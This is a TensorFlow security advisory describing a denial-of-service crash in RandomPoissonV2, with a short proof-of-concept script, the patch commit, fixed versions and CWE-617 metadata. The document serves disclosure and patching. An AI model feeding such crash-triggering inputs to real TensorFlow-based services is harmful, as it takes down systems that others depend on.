When RandomPoissonV2
receives large input shape and rates, it gives a CHECK
fail that can trigger a denial of service attack.
import tensorflow as tf
arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)
arg_1=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float32, maxval=None)
arg_2=0
arg_3=0
arg_4=tf.int32
arg_5=None
tf.raw_ops.RandomPoissonV2(shape=arg_0, rate=arg_1, seed=arg_2,
seed2=arg_3, dtype=arg_4, name=arg_5)
We have patched the issue in GitHub commit 552bfced6ce4809db5f3ca305f60ff80dd40c5a3.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
{ "nvd_published_at": "2022-09-16T23:15:00Z", "github_reviewed_at": "2022-09-16T21:39:10Z", "severity": "MODERATE", "github_reviewed": true, "cwe_ids": [ "CWE-617" ] }